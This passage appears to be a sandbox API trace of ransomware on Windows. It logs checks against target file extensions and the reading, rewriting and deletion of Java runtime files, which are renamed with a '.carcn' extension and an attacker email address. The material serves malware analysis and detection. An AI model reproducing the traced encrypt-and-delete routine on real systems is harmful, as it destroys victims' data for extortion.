Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.081] lstrlenW (lpString=".1cd") returned 4 [0268.081] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0268.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.081] lstrlenW (lpString=".jpg") returned 4 [0268.081] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0268.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.081] lstrlenW (lpString=".doc") returned 4 [0268.081] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0268.081] lstrlenW (lpString=".docx") returned 5 [0268.081] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0268.081] lstrlenW (lpString=".pdf") returned 4 [0268.081] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0268.081] lstrlenW (lpString=".xls") returned 4 [0268.081] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0268.081] lstrlenW (lpString=".xlsx") returned 5 [0268.081] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0268.082] lstrlenW (lpString=".ppt") returned 4 [0268.082] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0268.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.082] lstrlenW (lpString=".zip") returned 4 [0268.082] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0268.082] lstrlenW (lpString=".rar") returned 4 [0268.082] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0268.082] lstrlenW (lpString=".bz2") returned 4 [0268.082] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0268.082] lstrlenW (lpString=".7z") returned 3 [0268.082] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0268.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.082] lstrlenW (lpString=".dbf") returned 4 [0268.082] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0268.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.082] lstrlenW (lpString=".1cd") returned 4 [0268.082] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0268.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.082] lstrlenW (lpString=".jpg") returned 4 [0268.082] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0268.082] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0268.082] lstrlenW (lpString="resources.jar") returned 13 [0268.083] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0268.083] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=3492573) returned 1 [0268.083] CloseHandle (hObject=0x54c) returned 1 [0268.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0268.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0268.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.084] lstrlenW (lpString=".doc") returned 4 [0268.084] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0268.084] lstrlenW (lpString=".docx") returned 5 [0268.084] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0268.084] lstrlenW (lpString=".pdf") returned 4 [0268.084] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0268.084] lstrlenW (lpString=".xls") returned 4 [0268.084] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0268.084] lstrlenW (lpString=".xlsx") returned 5 [0268.084] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0268.084] lstrlenW (lpString=".ppt") returned 4 [0268.084] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0268.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.085] lstrlenW (lpString=".zip") returned 4 [0268.085] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0268.085] lstrlenW (lpString=".rar") returned 4 [0268.085] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0268.085] lstrlenW (lpString=".bz2") returned 4 [0268.085] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0268.085] lstrlenW (lpString=".7z") returned 3 [0268.085] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0268.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.085] lstrlenW (lpString=".dbf") returned 4 [0268.085] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0268.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.085] lstrlenW (lpString=".1cd") returned 4 [0268.085] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0268.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.085] lstrlenW (lpString=".jpg") returned 4 [0268.085] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0268.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.085] lstrlenW (lpString=".doc") returned 4 [0268.085] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0268.085] lstrlenW (lpString=".docx") returned 5 [0268.085] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0268.085] lstrlenW (lpString=".pdf") returned 4 [0268.085] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0268.085] lstrlenW (lpString=".xls") returned 4 [0268.086] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0268.086] lstrlenW (lpString=".xlsx") returned 5 [0268.086] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0268.086] lstrlenW (lpString=".ppt") returned 4 [0268.086] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0268.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.086] lstrlenW (lpString=".zip") returned 4 [0268.086] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0268.086] lstrlenW (lpString=".rar") returned 4 [0268.086] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0268.086] lstrlenW (lpString=".bz2") returned 4 [0268.086] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0268.086] lstrlenW (lpString=".7z") returned 3 [0268.086] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0268.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.086] lstrlenW (lpString=".dbf") returned 4 [0268.086] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0268.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.086] lstrlenW (lpString=".1cd") returned 4 [0268.086] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0268.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0268.086] lstrlenW (lpString=".jpg") returned 4 [0268.086] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0268.087] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0268.087] lstrlenW (lpString="rt.jar") returned 6 [0268.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0268.087] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=54560347) returned 1 [0268.088] CloseHandle (hObject=0x54c) returned 1 [0268.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0268.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0268.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.088] lstrlenW (lpString=".doc") returned 4 [0268.088] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0268.088] lstrlenW (lpString=".docx") returned 5 [0268.088] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0268.088] lstrlenW (lpString=".pdf") returned 4 [0268.088] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0268.089] lstrlenW (lpString=".xls") returned 4 [0268.089] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0268.089] lstrlenW (lpString=".xlsx") returned 5 [0268.089] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0268.089] lstrlenW (lpString=".ppt") returned 4 [0268.089] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0268.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.089] lstrlenW (lpString=".zip") returned 4 [0268.089] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0268.089] lstrlenW (lpString=".rar") returned 4 [0268.089] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0268.089] lstrlenW (lpString=".bz2") returned 4 [0268.089] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0268.089] lstrlenW (lpString=".7z") returned 3 [0268.089] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0268.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.089] lstrlenW (lpString=".dbf") returned 4 [0268.089] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0268.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.089] lstrlenW (lpString=".1cd") returned 4 [0268.089] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0268.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.089] lstrlenW (lpString=".jpg") returned 4 [0268.089] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0268.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.090] lstrlenW (lpString=".doc") returned 4 [0268.090] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0268.090] lstrlenW (lpString=".docx") returned 5 [0268.090] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0268.090] lstrlenW (lpString=".pdf") returned 4 [0268.090] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0268.090] lstrlenW (lpString=".xls") returned 4 [0268.090] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0268.090] lstrlenW (lpString=".xlsx") returned 5 [0268.090] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0268.090] lstrlenW (lpString=".ppt") returned 4 [0268.090] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0268.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.090] lstrlenW (lpString=".zip") returned 4 [0268.090] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0268.090] lstrlenW (lpString=".rar") returned 4 [0268.090] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0268.090] lstrlenW (lpString=".bz2") returned 4 [0268.090] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0268.090] lstrlenW (lpString=".7z") returned 3 [0268.090] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0268.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.090] lstrlenW (lpString=".dbf") returned 4 [0268.090] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0268.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.090] lstrlenW (lpString=".1cd") returned 4 [0268.090] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0268.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0268.091] lstrlenW (lpString=".jpg") returned 4 [0268.091] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0268.091] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".carcn") returned -1 [0268.091] lstrlenW (lpString="blacklist") returned 9 [0268.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0268.094] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=4054) returned 1 [0268.094] CloseHandle (hObject=0x54c) returned 1 [0268.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0268.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0268.095] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.095] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0268.103] GetLastError () returned 0x0 [0268.103] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xfd6, lpOverlapped=0x0) returned 1 [0268.115] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfe0, lpOverlapped=0x0) returned 1 [0268.116] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0268.117] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe6, lpOverlapped=0x0) returned 1 [0268.117] SetEndOfFile (hFile=0x43c) returned 1 [0268.117] CloseHandle (hObject=0x43c) returned 1 [0268.120] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.120] SetEndOfFile (hFile=0x54c) returned 1 [0268.124] CloseHandle (hObject=0x54c) returned 1 [0268.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0268.124] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0268.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.125] lstrlenW (lpString=".doc") returned 4 [0268.125] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0268.125] lstrlenW (lpString=".docx") returned 5 [0268.125] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0268.125] lstrlenW (lpString=".pdf") returned 4 [0268.125] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0268.125] lstrlenW (lpString=".xls") returned 4 [0268.125] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0268.125] lstrlenW (lpString=".xlsx") returned 5 [0268.125] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0268.125] lstrlenW (lpString=".ppt") returned 4 [0268.125] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0268.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.126] lstrlenW (lpString=".zip") returned 4 [0268.126] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0268.126] lstrlenW (lpString=".rar") returned 4 [0268.126] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0268.126] lstrlenW (lpString=".bz2") returned 4 [0268.126] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0268.126] lstrlenW (lpString=".7z") returned 3 [0268.126] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0268.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.126] lstrlenW (lpString=".dbf") returned 4 [0268.126] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0268.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.126] lstrlenW (lpString=".1cd") returned 4 [0268.126] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0268.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.126] lstrlenW (lpString=".jpg") returned 4 [0268.126] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0268.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.126] lstrlenW (lpString=".doc") returned 4 [0268.126] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0268.126] lstrlenW (lpString=".docx") returned 5 [0268.126] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0268.126] lstrlenW (lpString=".pdf") returned 4 [0268.126] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0268.127] lstrlenW (lpString=".xls") returned 4 [0268.127] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0268.127] lstrlenW (lpString=".xlsx") returned 5 [0268.127] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0268.127] lstrlenW (lpString=".ppt") returned 4 [0268.127] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0268.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.127] lstrlenW (lpString=".zip") returned 4 [0268.127] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0268.127] lstrlenW (lpString=".rar") returned 4 [0268.127] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0268.127] lstrlenW (lpString=".bz2") returned 4 [0268.127] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0268.127] lstrlenW (lpString=".7z") returned 3 [0268.127] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0268.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.127] lstrlenW (lpString=".dbf") returned 4 [0268.127] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0268.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.127] lstrlenW (lpString=".1cd") returned 4 [0268.127] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0268.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0268.127] lstrlenW (lpString=".jpg") returned 4 [0268.127] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0268.128] lstrcmpiW (lpString1=".certs", lpString2=".carcn") returned 1 [0268.128] lstrlenW (lpString="blacklisted.certs") returned 17 [0268.128] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0268.128] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=1253) returned 1 [0268.129] CloseHandle (hObject=0x54c) returned 1 [0268.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0268.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.129] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0268.129] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.129] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.129] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0268.130] GetLastError () returned 0x0 [0268.130] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x4e5, lpOverlapped=0x0) returned 1 [0268.426] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0268.427] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0268.427] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf6, lpOverlapped=0x0) returned 1 [0268.427] SetEndOfFile (hFile=0x43c) returned 1 [0268.792] CloseHandle (hObject=0x43c) returned 1 [0268.796] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.796] SetEndOfFile (hFile=0x54c) returned 1 [0268.799] CloseHandle (hObject=0x54c) returned 1 [0268.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0268.800] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0268.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.801] lstrlenW (lpString=".doc") returned 4 [0268.801] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 